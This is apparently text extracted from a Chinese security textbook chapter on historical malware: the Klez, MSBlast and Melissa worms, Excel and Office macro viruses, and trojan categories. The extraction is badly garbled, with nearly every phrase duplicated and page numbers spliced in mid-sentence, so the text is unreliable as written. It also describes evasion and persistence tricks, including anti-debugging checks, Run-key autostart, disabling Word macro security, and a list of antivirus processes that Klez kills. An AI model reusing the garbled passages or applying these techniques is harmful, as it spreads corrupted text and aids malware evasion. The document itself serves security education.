153、件传播。此时,病毒搜索当前用通过因特网邮件传播。此时,病毒搜索当前用户地址簿中的邮件地址的文本内容或随机计算邮件地户地址簿中的邮件地址的文本内容或随机计算邮件地址,通过址,通过Windows的的SOCKET函数调用函数调用SMTP服务器服务器发送本身。邮件文件由木马部分形成,并且该邮件会发送本身。邮件文件由木马部分形成,并且该邮件会在在Outlook Express下自动执行。它的主题是随机的,下自动执行。它的主题是随机的,常见以下几种情况:常见以下几种情况:Hi、Hello、How are you?、Can you help me?、We want peace.、Where will you

154、 go?、Congratulations!、Dont cry.、Look at the pretty.、Some advice on your shortcoming.、Free XXX Pictures.、A free hot porn site.、Why dont reply to me?、 How about have dinner with me together?等。等。邮件正文一般为:邮件正文一般为: Im sorry to do so,but its helpless to say sorry.I want a good job,I must support my parents

155、.Now you have seen my technical capabilities.How much my yearsalary now? NO more than $5,500.What do you think of this fact?.Dont call my names,I have no hostility.Can you help me?(2) 通过网络邻居传播。此时,病毒程序搜索所有通过网络邻居传播。此时,病毒程序搜索所有的网络连接,查找共享目录,将自己的文件放到共享的网络连接,查找共享目录,将自己的文件放到共享目录中,并试图让远程计算机将它作为一个服务启动。目录中,并试

156、图让远程计算机将它作为一个服务启动。(3) 通过磁盘传播。它创建专门的线程感染磁盘,通过磁盘传播。它创建专门的线程感染磁盘,如果当前日期是奇数月的如果当前日期是奇数月的13号,将找到的文件内容进号,将找到的文件内容进行复制。行复制。病毒代码的编制采用病毒代码的编制采用Windows病毒编制技术,解密后病毒编制技术,解密后的代码长度的代码长度258HB,病毒程序首先自解密,然后在内,病毒程序首先自解密,然后在内存中查找存中查找KERNEL32模块,并根据名字的检验字找模块,并根据名字的检验字找到一大批函数入口,这些函数供后面的代码调用,接到一大批函数入口,这些函数供后面的代码调用,接下来,申请内

157、存,将所有病毒代码复制到申请的内存下来,申请内存,将所有病毒代码复制到申请的内存中,并转申请的内存执行。中,并转申请的内存执行。这时,该段代码首先检查有无调试程序(调这时,该段代码首先检查有无调试程序(调IsDebugPresent函数),如在调试程序下运行,终止函数),如在调试程序下运行,终止病毒代码,返回到原宿主程序(如果是配套的木马,病毒代码,返回到原宿主程序(如果是配套的木马,则返回到操作系统),并启动感染代码,如未在调试则返回到操作系统),并启动感染代码,如未在调试程序下运行,感染程序下运行,感染System(由(由GetSystemDirectory)目录或建立目录或建立wqk.e

158、xe(Windows 9x下)或下)或wqk.dll(Windows NT下)。然后将当前进程注册为下)。然后将当前进程注册为服务进程,创建感染线程,根据系统时间,如果为服务进程,创建感染线程,根据系统时间,如果为13号且为号且为3月或月或9月,感染所有硬盘或网络盘文件;否则月,感染所有硬盘或网络盘文件;否则感染系统目录。某些条件下创始的感染线程会启动另感染系统目录。某些条件下创始的感染线程会启动另一个感染线程,直到系统崩溃。如果是一个感染线程,直到系统崩溃。如果是Windows NT操作系统,同时感染所有网络邻居。最后返回宿主程操作系统,同时感染所有网络邻居。最后返回宿主程序或操作系统。序或

159、操作系统。木马程序部分完成下列工作:木马程序部分完成下列工作:(1) 解码所有字符串并改变当前进程访问权限。解码所有字符串并改变当前进程访问权限。(2) 启动线程启动线程1,线程,线程1的作用为:检查当前所有进的作用为:检查当前所有进程,如果有以下进程(部分匹配),则终止这些进程:程,如果有以下进程(部分匹配),则终止这些进程:_AVP32、_AVPCC、_AVPPM、ALERTSVC、AMON、AVP32、AVPCC、AVPM、N32SCANW、NAVAPSVC、NAVAPW32、NAVLU32、NAVRUNR、NAVW32、NAVWNT、NDD32、NPSSVC、NRESQ32、NSCHE

160、D32、NSCHEDNT、NSPLUGIN、SCAN、SMSS。如果是如果是Windows 9x系统,则将当前程序设为自启动系统,则将当前程序设为自启动(Software Microsoft Windows CurrentVersion Run),线程永不终止。),线程永不终止。(3) 启动线程启动线程2。其作用为:复制自己,运行后删。其作用为:复制自己,运行后删除,然后线程终止。除,然后线程终止。(4) 在系统目录中创建在系统目录中创建Krnl32.exe,如果是,如果是Windows 9x系统,则运行系统,则运行Krnl32.exe,并将,并将adw放入放入 Software Micros

161、oft Windows CurrentVersion Run中自动运行。如果是中自动运行。如果是Windows 2000系统,则将其作系统,则将其作为为Service启动。启动。(5) 创建线程创建线程3,发送,发送E-mail。创建线程。创建线程4,感染网,感染网络所有共享文件,每络所有共享文件,每8h搜索一次。创建线程搜索一次。创建线程5,搜索,搜索磁盘文件。创建线程磁盘文件。创建线程6,检查当前日期是否为奇数月,检查当前日期是否为奇数月的的13号,如是,将所有文件复制一次,线程号,如是,将所有文件复制一次,线程5h运行一运行一次,永不退出。次,永不退出。“求职信求职信”病毒新变种和原来的

162、病毒新变种和原来的“求职信求职信”病毒一样,病毒一样,通过邮件进行传播,并具有通过邮件进行传播,并具有7大特征:大特征: “求职信求职信”系列变种病毒利用操作系统的漏洞,可系列变种病毒利用操作系统的漏洞,可以自动感染,无须打开附件,因此危害性很大。以自动感染,无须打开附件,因此危害性很大。 变种病毒具有很强的隐蔽性,可以变种病毒具有很强的隐蔽性,可以“随机应变随机应变”地自动改换不同的邮件主题和内容,瓦解邮件接收者地自动改换不同的邮件主题和内容,瓦解邮件接收者的警惕性。的警惕性。 在邮件内部存放发送信息的一部分,这些变种病在邮件内部存放发送信息的一部分,这些变种病毒会伪造虚假信息,掩盖病毒的真

163、实来源。毒会伪造虚假信息,掩盖病毒的真实来源。 能够绕开一些流行杀毒软件的监控,甚至专门针能够绕开一些流行杀毒软件的监控,甚至专门针对一些杀毒软件进行攻击。对一些杀毒软件进行攻击。 除开可以在网络上利用邮件进行传播外,这些变除开可以在网络上利用邮件进行传播外,这些变种病毒还可以利用局域网上的共享文件夹进行传染,种病毒还可以利用局域网上的共享文件夹进行传染,其传播特点类似其传播特点类似“尼姆达尼姆达”病毒,因此对于某些不能病毒,因此对于某些不能查杀局域网共享文件病毒的单机版杀毒软件,这将意查杀局域网共享文件病毒的单机版杀毒软件,这将意味着在网络环境下,根本无法彻底清除病毒。味着在网络环境下,根本

164、无法彻底清除病毒。 目前已经开始在网络上出现的一些目前已经开始在网络上出现的一些“求职信求职信”变变种的专杀工具,由于无法适用于所有的变种,因此在种的专杀工具,由于无法适用于所有的变种,因此在杀除一些变种病毒时,会连病毒带文件一同删除,结杀除一些变种病毒时,会连病毒带文件一同删除,结果造成杀病毒并把计算机一起果造成杀病毒并把计算机一起“杀死杀死”的情况。的情况。 传统杀毒软件清除该病毒需要在传统杀毒软件清除该病毒需要在DOS系统下进行。系统下进行。 3. 冲击波病毒冲击波病毒冲击波病毒(冲击波病毒(Wrom.MSBlast.6176)(原名)(原名“新流言新流言”)长度)长度6176B,病毒类

165、型属蠕虫型,该病毒利用,病毒类型属蠕虫型,该病毒利用RPC漏洞进行快速传播。病毒程序采用漏洞进行快速传播。病毒程序采用UPX压缩技压缩技术,使得病毒体积较小,便于在网络上快速传播。术,使得病毒体积较小,便于在网络上快速传播。 该病毒代码由下面几个模块组成:该病毒代码由下面几个模块组成:(1) 修改注册表。在注册表项修改注册表。在注册表项HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrent VersionRun下添加键值:下添加键值:“windows auto update”=“msblast.exe”,以使蠕虫可,以使蠕虫可以开机自动运行。以开机自

166、动运行。(2) 攻击模块。攻击病毒自我生成的攻击模块。攻击病毒自我生成的IP地址和地址和RPC服务默认端口,为传播自己做准备。服务默认端口,为传播自己做准备。(3) 监听监听 UDP 69端口,当有服务请求,就发送端口,当有服务请求,就发送Msblast.exe文件。文件。 (4) 发送命令到远端计算机发送命令到远端计算机(被攻击计算机被攻击计算机),以使其以使其连接被感染计算机连接被感染计算机(本地计算机本地计算机)下载并运行该病毒;下载并运行该病毒; (5) 设置触发条件:如果当前月份大于设置触发条件:如果当前月份大于8月,或当月,或当前日期大于前日期大于15号,对号,对“Windows

167、”实施实施DOS攻击。攻击。 该蠕虫包含如下不会被显示的字符串:该蠕虫包含如下不会被显示的字符串: I just want to say LOVE YOU SAN! billy gates why do you make this possible ? Stop making money and fix your software!4. 梅莉莎梅莉莎该病毒属蠕虫病毒,病毒长度为该病毒属蠕虫病毒,病毒长度为59KB,主要感染,主要感染Windows 9x /2000/XP操作系统下的操作系统下的Word 97和和Word 2000文件,当用户打开已感染有该病毒的文件时,梅文件,当用户打开已感染有

168、该病毒的文件时,梅莉莎便传染用户系统莉莎便传染用户系统,同时,病毒通过用户收发带毒同时,病毒通过用户收发带毒的电子邮件互相传染,而且传染方式非常隐蔽。的电子邮件互相传染,而且传染方式非常隐蔽。梅莉莎病毒代码的工作流程如下:梅莉莎病毒代码的工作流程如下: (1) 当用户打开的文件感染有该病毒时,病毒首先当用户打开的文件感染有该病毒时,病毒首先检查注册表中是否有梅莉莎的注册信息,若有则表明检查注册表中是否有梅莉莎的注册信息,若有则表明系统已被传染,否则,在注册表中创建注册项如下:系统已被传染,否则,在注册表中创建注册项如下: HKEY_CURRENT_USERSoftwareMicrosoftOf

169、fice“Melissa?” =“. by Kwyjibo”(2) 利用利用Visual Basic指令建立一个指令建立一个Outlook对象对象,从从Outlook的全域地址表中获取成员地址信息的全域地址表中获取成员地址信息,将下列信将下列信息以电子邮件方式息以电子邮件方式,自动发送到地址表中的前自动发送到地址表中的前50个邮个邮箱箱(一次发送一次发送50封邮件封邮件)。其中,。其中,邮件主题为邮件主题为:“Important Message From” 正文为正文为:“Here is that document you asked for . dont show anyone else ;

170、)”。然后,病毒将已感染有该病。然后,病毒将已感染有该病毒的文件作为附件发送出去。目前较为流行的一种附毒的文件作为附件发送出去。目前较为流行的一种附件的文件名为件的文件名为“list.doc”(注意附件的文件名并不(注意附件的文件名并不只有这一种)。只有这一种)。 (3) 当用户接收到带毒的邮件并打开时当用户接收到带毒的邮件并打开时,用户的用户的Word系统中所有打开的文件将被传染。当机器时钟系统中所有打开的文件将被传染。当机器时钟的时间数值与日期的数值相同时,如的时间数值与日期的数值相同时,如4月月27号的号的04:27,病毒将打开一个被传染的文件,病毒将打开一个被传染的文件,在当前的光标位

171、置在当前的光标位置插入如下信息:插入如下信息:“Twentytwo points, plus triple-word-score, plus fifty points for using all my letters. Games over. Im outta here.”。 (4) 传染传染Word 2000时时,首先从注册表中检查其安全首先从注册表中检查其安全保护级别保护级别,如果注册表中如果注册表中HKEY_CURRENT_USERSoftwareMicrosoftOffice9.0Word Security“Level”的值不为的值不为0,将禁用菜单,将禁用菜单中的中的“MACRO/S

172、ECURITY”选项。如果用户使用的系统选项。如果用户使用的系统是是Word 97,则禁用菜单中,则禁用菜单中“TOOLS/MACRO”选项。选项。1. 宏病毒的概念宏病毒的概念宏病毒是一些制作病毒的专业人员利用宏病毒是一些制作病毒的专业人员利用MS Office的的开放性即开放性即Word和和Excel中提供的中提供的Word Basic/Excel Basic编程接口,专门制作的一个或多个具有病毒特编程接口,专门制作的一个或多个具有病毒特点的宏的集合,这种病毒宏的集合影响到计算机使用,点的宏的集合,这种病毒宏的集合影响到计算机使用,并能通过并能通过doc文档及文档及dot模板进行自我复制及

173、传播。模板进行自我复制及传播。7.4 宏病毒分析宏病毒分析 7.4.1 宏病毒的特点宏病毒的特点撰写传统的引导型病毒和文件型病毒,需要有相当的撰写传统的引导型病毒和文件型病毒,需要有相当的程序设计经验以及对程序设计经验以及对 DOS和和Windows操作系统有深操作系统有深入了解。设计病毒往往需要数天到数周的时间,而宏入了解。设计病毒往往需要数天到数周的时间,而宏病毒的设计则较容易病毒的设计则较容易,熟练的人几十分钟就可以写出熟练的人几十分钟就可以写出来来,一天就可以做出好几只变种病毒一天就可以做出好几只变种病毒,所以说在过去写所以说在过去写病毒只是那些计算机黑客的专利病毒只是那些计算机黑客的

174、专利,而如今任何具有初而如今任何具有初等计算机知识的人都有能力编写宏病毒。等计算机知识的人都有能力编写宏病毒。2. 宏病毒的原理宏病毒的原理宏病毒的产生,是利用了一些数据处理系统内置宏命宏病毒的产生,是利用了一些数据处理系统内置宏命令编程语言的特性而形成的。这些数据处理系统内置令编程语言的特性而形成的。这些数据处理系统内置宏编程语言的存在使得宏病毒有机可乘,病毒可以把宏编程语言的存在使得宏病毒有机可乘,病毒可以把特定的宏命令代码附加在指定文件上,通过文件的打特定的宏命令代码附加在指定文件上,通过文件的打开或关闭来获取控制权,实现宏命令在不同文件之间开或关闭来获取控制权,实现宏命令在不同文件之间

175、的共享和传递,从而在未经使用者许可的情况下获取的共享和传递,从而在未经使用者许可的情况下获取某种控制权,达到传染的目的。目前在可被宏病毒感某种控制权,达到传染的目的。目前在可被宏病毒感染的系统中,以染的系统中,以Word、Excel居多。居多。 Word宏病毒与宏病毒与Excel宏病毒的特性较为相似,因此仅宏病毒的特性较为相似,因此仅以以Word宏病毒为例,说明宏病毒的作用、传染以及宏病毒为例,说明宏病毒的作用、传染以及发作的机理和特性。发作的机理和特性。 一旦病毒宏侵入一旦病毒宏侵入Word,它就会替代原有的正常宏,它就会替代原有的正常宏,如如FileOpen、FileSave、FileSa

176、veAs和和 FilePrint等,等,并通过这些宏所关联的文件操作功能获取对文件交换并通过这些宏所关联的文件操作功能获取对文件交换的控制。当某项功能被调用时,相应的病毒宏就会篡的控制。当某项功能被调用时,相应的病毒宏就会篡夺控制权,实施病毒所定义的非法操作,包括传染操夺控制权,实施病毒所定义的非法操作,包括传染操作、表现操作以及破坏操作等。宏病毒在感染一个文作、表现操作以及破坏操作等。宏病毒在感染一个文档时,首先要把文档转换成模板格式,然后把所有病档时,首先要把文档转换成模板格式,然后把所有病毒宏(包括自动宏)复制到该文档中。被转换成模板毒宏(包括自动宏)复制到该文档中。被转换成模板格式后的

177、染毒文件无法转存为任何其他格式。格式后的染毒文件无法转存为任何其他格式。含有自动宏的宏病毒染毒文档,当被其他计算机的含有自动宏的宏病毒染毒文档,当被其他计算机的Word系统打开时,便会自动感染该计算机。例如,系统打开时,便会自动感染该计算机。例如,如果病毒捕获并修改了如果病毒捕获并修改了FileOpen,那么,它将感染每那么,它将感染每一个被打开的一个被打开的Word文件。目前,几乎所有已知的宏文件。目前,几乎所有已知的宏病毒都沿用了相同的作用机理,即如果病毒都沿用了相同的作用机理,即如果Word系统在系统在读取一个染毒文件时遭受感染,则其后所有新创建的读取一个染毒文件时遭受感染,则其后所有新

178、创建的DOC文件都会被感染。文件都会被感染。3. 宏病毒的破坏表现宏病毒的破坏表现有些宏病毒对用户进行骚扰,但不破坏系统,比如说有些宏病毒对用户进行骚扰,但不破坏系统,比如说有一种宏病毒在每月的有一种宏病毒在每月的13日发作时显示出日发作时显示出5个数字连个数字连乘的心算数学题。有些宏病毒或使打印中途中断或打乘的心算数学题。有些宏病毒或使打印中途中断或打印出混乱信息,如印出混乱信息,如Nuclear、Kompu等属此类。有些等属此类。有些宏病毒将文档中的部分字符、文本进行替换。但也有宏病毒将文档中的部分字符、文本进行替换。但也有些宏病毒极具破坏性,如些宏病毒极具破坏性,如MDMA.A,这种病毒

179、既感,这种病毒既感染中文版染中文版Word,又感染英文版,又感染英文版Word,发作时间是每,发作时间是每月的月的1日。此病毒在不同的日。此病毒在不同的Windows平台上有不同的平台上有不同的破坏性表现,轻则删除帮助文件,重则删除硬盘中的破坏性表现,轻则删除帮助文件,重则删除硬盘中的所有文件。另外还有一种双栖复合型宏病毒,发作可所有文件。另外还有一种双栖复合型宏病毒,发作可使计算机瘫痪。宏病毒的破坏主要表现在两方面:使计算机瘫痪。宏病毒的破坏主要表现在两方面:(1) 对对Word和和Excel运行的破坏:不能正常打印;运行的破坏:不能正常打印;封闭或改变文件存储路径;将文件改名;乱复制文件;

180、封闭或改变文件存储路径;将文件改名;乱复制文件;封闭有关菜单;文件无法正常编辑。封闭有关菜单;文件无法正常编辑。(2) 对系统的破坏:对系统的破坏:Word Basic和和Excel Basic语言语言能够调用系统命令,造成破坏。能够调用系统命令,造成破坏。4. 宏病毒的主要特点宏病毒的主要特点(1) 传播极快传播极快宏病毒通过宏病毒通过doc文档及文档及dot模板进行自我复制及传播,模板进行自我复制及传播,而计算机文档是交流最广的文件类型。多年来,人们而计算机文档是交流最广的文件类型。多年来,人们大多重视保护自己计算机的引导部分和可执行文件不大多重视保护自己计算机的引导部分和可执行文件不被病

181、毒感染,而对外来的文档文件基本是直接浏览使被病毒感染,而对外来的文档文件基本是直接浏览使用,这给宏病毒传播带来很多便利。特别是因特网的用,这给宏病毒传播带来很多便利。特别是因特网的普及,普及,E-mail的大量应用更为的大量应用更为Word宏病毒传播铺平宏病毒传播铺平道路。道路。(2) 制作、变种方便制作、变种方便以往病毒是以二进制的计算机机器码形式出现,而宏以往病毒是以二进制的计算机机器码形式出现,而宏病毒则是以人们容易阅读的源代码宏语言病毒则是以人们容易阅读的源代码宏语言Word Basic形式出现,所以编写和修改宏病毒比以往病毒更容易。形式出现,所以编写和修改宏病毒比以往病毒更容易。目前

182、,世界上的宏病毒原型已有几十种,其变种与日目前,世界上的宏病毒原型已有几十种,其变种与日俱增,追究其原因还是俱增,追究其原因还是Word的开放性所致。现在的的开放性所致。现在的Word病毒都是用病毒都是用Word Basic语言所写成,大部分语言所写成,大部分Word病毒宏并没有使用病毒宏并没有使用Word提供的提供的Execute-Only处处理函数处理,它们仍处于可打开阅读修改状态。理函数处理,它们仍处于可打开阅读修改状态。所有用户在所有用户在Word工具的宏菜单中很方便就可以看到工具的宏菜单中很方便就可以看到这种宏病毒的全部面目。当然会有这种宏病毒的全部面目。当然会有“不法之徒不法之徒”

183、利用利用掌握的掌握的Basic语句简单知识把其中病毒激活条件和破语句简单知识把其中病毒激活条件和破坏条件加以改变,于是就生产出了一种新的宏病毒,坏条件加以改变,于是就生产出了一种新的宏病毒,甚至比原病毒的危害更加严重。甚至比原病毒的危害更加严重。(3) 破坏可能性极大破坏可能性极大鉴于宏病毒用鉴于宏病毒用Word Basic语言编写,语言编写,Word Basic语言语言提供了许多系统级低层调用,如直接使用提供了许多系统级低层调用,如直接使用DOS系统命系统命令、调用令、调用Windows API、调用、调用DDE或或DLL等。这些等。这些操作均可能对系统直接构成威胁,而操作均可能对系统直接构

184、成威胁,而Word在指令安在指令安全性、完整性上检测能力很弱,破坏系统的指令很容全性、完整性上检测能力很弱,破坏系统的指令很容易被执行。宏病毒易被执行。宏病毒Nuclear就是破坏操作系统的典型就是破坏操作系统的典型一例。一例。(4) 多平台交叉感染多平台交叉感染宏病毒冲破了以往病毒在单一平台上传播的局限,当宏病毒冲破了以往病毒在单一平台上传播的局限,当Word或或Excel这类著名应用软件在不同平台上运行时,这类著名应用软件在不同平台上运行时,会被宏病毒交叉感染。会被宏病毒交叉感染。(5) 以往病毒只感染程序,不感染数据文件,而宏以往病毒只感染程序,不感染数据文件,而宏病毒专门感染数据文件,

185、彻底改变了人们的病毒专门感染数据文件,彻底改变了人们的“数据文数据文件不会传播病毒件不会传播病毒”的错误认识。宏病毒会感染的错误认识。宏病毒会感染doc文文档文件和档文件和dot模板文件。被它感染的模板文件。被它感染的doc文档属性必然文档属性必然会被改为模板而不是文档,但不一定修改文件的扩展会被改为模板而不是文档,但不一定修改文件的扩展名。而用户在另存文档时,就无法将该文档转换为任名。而用户在另存文档时,就无法将该文档转换为任何其他方式,而只能用模板方式存盘。这一点在多种何其他方式,而只能用模板方式存盘。这一点在多种文本编辑器需转换文档时是绝对不允许的。文本编辑器需转换文档时是绝对不允许的。

186、(6) 染毒文档无法使用染毒文档无法使用“另存为另存为”修改路径以保存修改路径以保存到另外的磁盘或子目录中。到另外的磁盘或子目录中。(7) 病毒宏的传染通常是病毒宏的传染通常是Word在打开一个带宏病在打开一个带宏病毒的文档或模板时,激活了病毒宏,病毒宏将自身复毒的文档或模板时,激活了病毒宏,病毒宏将自身复制至制至Word的通用模板中,以后在打开或关闭文件时的通用模板中,以后在打开或关闭文件时病毒宏就会把病毒复制到该文件中。病毒宏就会把病毒复制到该文件中。(8) 大多数宏病毒中含有大多数宏病毒中含有 AutoOpen、AutoClose、AutoNew和和 AutoExit等自动宏。只有这样,

187、宏病毒等自动宏。只有这样,宏病毒才能获得文档(模板)操作控制权。有些宏病毒还通才能获得文档(模板)操作控制权。有些宏病毒还通过过 FileNew、FileOpen、FileSave、FileSaveAs、FileExit等宏控制文件的操作。等宏控制文件的操作。(9) 病毒宏中必然含有对文档读写操作的宏指令。病毒宏中必然含有对文档读写操作的宏指令。(10) 宏病毒在宏病毒在doc文档、文档、dot模板中是以模板中是以BFF(Binary File Format)格式存放。这是一种加)格式存放。这是一种加密压缩格式,每种密压缩格式,每种Word版本格式可能不兼容。版本格式可能不兼容。1. x97m

188、_laroux_aj “x97m_laroux_aj”病毒(别名:病毒(别名:Laroux.ae, X97m_Laroux Family.x)是)是“Laroux”病毒家族的病毒家族的一个变种,感染一个变种,感染Windows 95/98/NT下的下的Excel 97。该。该病毒使用病毒使用VBA(Visual Basic for Applications)语言)语言编写,病毒不具破坏性,仅仅是将自身复制到其他的编写,病毒不具破坏性,仅仅是将自身复制到其他的Excel文档。病毒通过直接感染打开的文档。病毒通过直接感染打开的Excel文档进行文档进行传播。传播。7.4.2 典型宏病毒分析典型宏病

189、毒分析和其他和其他Excel Laroux病毒的变种一样,它包含两个宏:病毒的变种一样,它包含两个宏:AUTO_OPEN和和CHECK_FILES。 x97m_ Laroux.ae查找查找Xlstart路径时是否存在文件路径时是否存在文件Plda.xls,如果该文,如果该文件不存在,它就创建一个。被件不存在,它就创建一个。被Laroux变种感染最明变种感染最明显的迹象就是出现文件显的迹象就是出现文件Plda.xls,该病毒无破坏性代,该病毒无破坏性代码,它仅仅是在每次打开码,它仅仅是在每次打开Excel工作簿时复制自身。工作簿时复制自身。2. x97m_Laroux.A病毒名称:病毒名称:X9

190、7M_Laroux.A 病毒特点:病毒特点:Laroux是第一个为是第一个为MS Excel编写的宏病编写的宏病毒。当被该病毒感染的文档打开时,宏毒。当被该病毒感染的文档打开时,宏Check_ files被唤醒,并且被唤醒,并且Personal.xls被感染。其他文件也会在被感染。其他文件也会在活动时被感染,文件属性部分的标题、主题、作者、活动时被感染,文件属性部分的标题、主题、作者、关键字和内容被病毒清除。该病毒不是破坏性的,它关键字和内容被病毒清除。该病毒不是破坏性的,它的宏也不对用户隐藏,可以用的宏也不对用户隐藏,可以用Excel的工具菜单下的的工具菜单下的宏选项找到它。除了复制,该病毒

191、无重大意义。它感宏选项找到它。除了复制,该病毒无重大意义。它感染染Excel工作表,创建一个名为工作表,创建一个名为Personal的隐藏工作表,的隐藏工作表,被感染的文件包含模块被感染的文件包含模块laroux,被感染的工作表包含,被感染的工作表包含宏宏“auto_open”和和“check_files”。该病毒会安装一个被感染文档到文件夹该病毒会安装一个被感染文档到文件夹Xlstart,任何,任何在文件夹在文件夹Xlstart中的中的Excel文档在启动文档在启动Excel时被装载时被装载病毒。如果病毒。如果Xlstart路径下已存在名为路径下已存在名为Personal.xls的的文件,病

192、毒就不会对系统进行感染。文件,病毒就不会对系统进行感染。3. Macro.Office97.Triplicate “Macro.Office97.Triplicate”病毒(别名:病毒(别名:o97m_Tristate)主要感染)主要感染word文档、文档、powerpoint简简报和报和excel表格。病毒不会显示信息,也不破坏机器表格。病毒不会显示信息,也不破坏机器上的任何数据。这是第一个已知的具有上的任何数据。这是第一个已知的具有MS PowerPoint感染能力的病毒。病毒会破坏系统登录处感染能力的病毒。病毒会破坏系统登录处的病毒保护能力,为使的病毒保护能力,为使Word的反病毒程序失

193、去作用,的反病毒程序失去作用,病毒使用病毒使用VBA命令。命令。在受染文件中病毒含有在受染文件中病毒含有3个个VBA5程序:程序:“Document_Close()”、“Workbook_Deactivate()”和和“actionhook()”,分别针对分别针对Word,Excel和和PowerPoint。 已知的病毒版本有已知的病毒版本有4个,前两个是原版本的个,前两个是原版本的“bug-fix”版本,第三个病毒版本含有一些重要的特征,这版本,第三个病毒版本含有一些重要的特征,这个版本能从互联网上使用个版本能从互联网上使用Word 97的漏洞进入机器中,的漏洞进入机器中,这个漏洞可以被病毒

194、的制造者用来感染远程计算机。这个漏洞可以被病毒的制造者用来感染远程计算机。病毒含有下面的信息:病毒含有下面的信息:Triplilcate.a: Triplicate v0.1 /InternalTriplilcate.b: Triplicate v0.11 /InternalTriplilcate.c: Triplicate v0.2 /InternalTriplilcate.d: Triplicate v0.21 /Internal“木马木马”是是“特洛伊木马特洛伊木马”的简称,英文叫做的简称,英文叫做“Trojan house”。“特洛伊木马特洛伊木马”的典故出自于希的典故出自于希腊神话。

195、这里指的是一种基于远程控制的黑客工具。腊神话。这里指的是一种基于远程控制的黑客工具。木马程序是由两部分组成的,分别是服务(木马程序是由两部分组成的,分别是服务(Server)端程序和客户(端程序和客户(Client)端程序。)端程序。7.5 木马病毒分析木马病毒分析 7.5.1 木马病毒的基本概念木马病毒的基本概念其中其中Server端程序是安装在被控制对象的计算机上的,端程序是安装在被控制对象的计算机上的,而而Client端程序是控制者所使用的,端程序是控制者所使用的,Server端程序和端程序和Client端程序建立起连接就可以实现对远程计算机的端程序建立起连接就可以实现对远程计算机的控制

196、了。如果计算机安装了服务器程序,那么,黑客控制了。如果计算机安装了服务器程序,那么,黑客就可以使用控制器进入计算机,通过命令服务器程序就可以使用控制器进入计算机,通过命令服务器程序达到控制计算机的目的。达到控制计算机的目的。1. 木马病毒的发展过程木马病毒的发展过程从木马的发展来看,基本上可以分为两个阶段,最初从木马的发展来看,基本上可以分为两个阶段,最初网络还处于以网络还处于以UNIX平台为主的时期,木马就产生了。平台为主的时期,木马就产生了。当时的木马程序的功能相对简单,往往是将一段程序当时的木马程序的功能相对简单,往往是将一段程序嵌入到系统文件中,用跳转指令来执行一些木马的功嵌入到系统文

197、件中,用跳转指令来执行一些木马的功能,在这个时期木马的设计者和使用者大都是些技术能,在这个时期木马的设计者和使用者大都是些技术人员,必须具备相当的网络和编程知识。而后随着人员,必须具备相当的网络和编程知识。而后随着Windows平台的日益普及,一些基于图形操作的木马平台的日益普及,一些基于图形操作的木马程序出现了,用户界面的改善,使使用者不用懂太多程序出现了,用户界面的改善,使使用者不用懂太多的专业知识就可以熟练的操作木马,相对的木马入侵的专业知识就可以熟练的操作木马,相对的木马入侵事件也频繁出现,而且由于这个时期木马的功能已日事件也频繁出现,而且由于这个时期木马的功能已日趋完善,因此对服务端

198、的破坏也更大了。所以木马发趋完善,因此对服务端的破坏也更大了。所以木马发展到今天,已经无所不能,一旦被木马控制,计算机展到今天,已经无所不能,一旦被木马控制,计算机将毫无秘密可言。将毫无秘密可言。2. 木马病毒的特点木马病毒的特点木马病毒具有隐蔽性和非授权性的特点。所谓隐蔽性木马病毒具有隐蔽性和非授权性的特点。所谓隐蔽性是指木马的设计者为了防止木马被发现,会采用多种是指木马的设计者为了防止木马被发现,会采用多种手段隐藏木马,这样服务端即使发现感染了木马,由手段隐藏木马,这样服务端即使发现感染了木马,由于不能确定其具体位置,往往只能望于不能确定其具体位置,往往只能望“马马”兴叹。兴叹。所谓非授权

199、性是指一旦控制端与服务端连接后,控制所谓非授权性是指一旦控制端与服务端连接后,控制端将享有服务端的大部分操作权限,包括修改文件、端将享有服务端的大部分操作权限,包括修改文件、修改注册表、控制鼠标、键盘等,而这些权力并不是修改注册表、控制鼠标、键盘等,而这些权力并不是服务端赋予的,而是通过木马程序窃取的。服务端赋予的,而是通过木马程序窃取的。3. 木马病毒的危害木马病毒的危害木马病毒的主要危害是对系统安全性的损害,木马病木马病毒的主要危害是对系统安全性的损害,木马病毒的典型症状是偷窃口令,包括拨号上网的口令、信毒的典型症状是偷窃口令,包括拨号上网的口令、信箱口令、主页口令、甚至网络信用卡口令等。

200、其次,箱口令、主页口令、甚至网络信用卡口令等。其次,可以通过木马程序传播病毒库。最后,它能使远程用可以通过木马程序传播病毒库。最后,它能使远程用户获得本地机器的最高操作权限,通过网络对本地计户获得本地机器的最高操作权限,通过网络对本地计算机进行任意的操作,比如删添程序、锁定注册表、算机进行任意的操作,比如删添程序、锁定注册表、获取用户保密信息、远程关机等。木马使用户的计算获取用户保密信息、远程关机等。木马使用户的计算机完全暴露在网络环境之中,成为别人操纵的对象。机完全暴露在网络环境之中,成为别人操纵的对象。1. 远程访问型特洛伊木马远程访问型特洛伊木马远程访问型特洛伊木马是现在最广泛的特洛伊木

201、马。远程访问型特洛伊木马是现在最广泛的特洛伊木马。这种木马可以访问远程硬盘、安装服务端程序。通过这种木马可以访问远程硬盘、安装服务端程序。通过运行服务端程序,就可以获得远程机器的运行服务端程序,就可以获得远程机器的IP地址,进地址,进而控制异地的计算机。这种木马可以使远程控制者在而控制异地的计算机。这种木马可以使远程控制者在本地机器上做任意的事情,比如键盘记录、上传和下本地机器上做任意的事情,比如键盘记录、上传和下载功能、发射一个载功能、发射一个“截取屏幕截取屏幕”等。这种类型的木马等。这种类型的木马有著名的有著名的BO(Back Office)、国产的冰河等。)、国产的冰河等。7.5.2 木

202、马病毒的种类木马病毒的种类2. 密码发送型木马密码发送型木马密码发送型木马的目的是找到所有的隐藏密码,并且密码发送型木马的目的是找到所有的隐藏密码,并且在受害者不知道的情况下把它们发送到指定的信箱。在受害者不知道的情况下把它们发送到指定的信箱。大多数这类的特洛伊木马不会在每次的大多数这类的特洛伊木马不会在每次的Windows重启重启时重启,而且它们大多数使用时重启,而且它们大多数使用25端口发送端口发送E-mail。这。这些特洛伊木马是十分危险的。些特洛伊木马是十分危险的。3. 键盘记录型木马键盘记录型木马键盘记录型木马是非常简单一种木马,它只做一种事键盘记录型木马是非常简单一种木马,它只做一

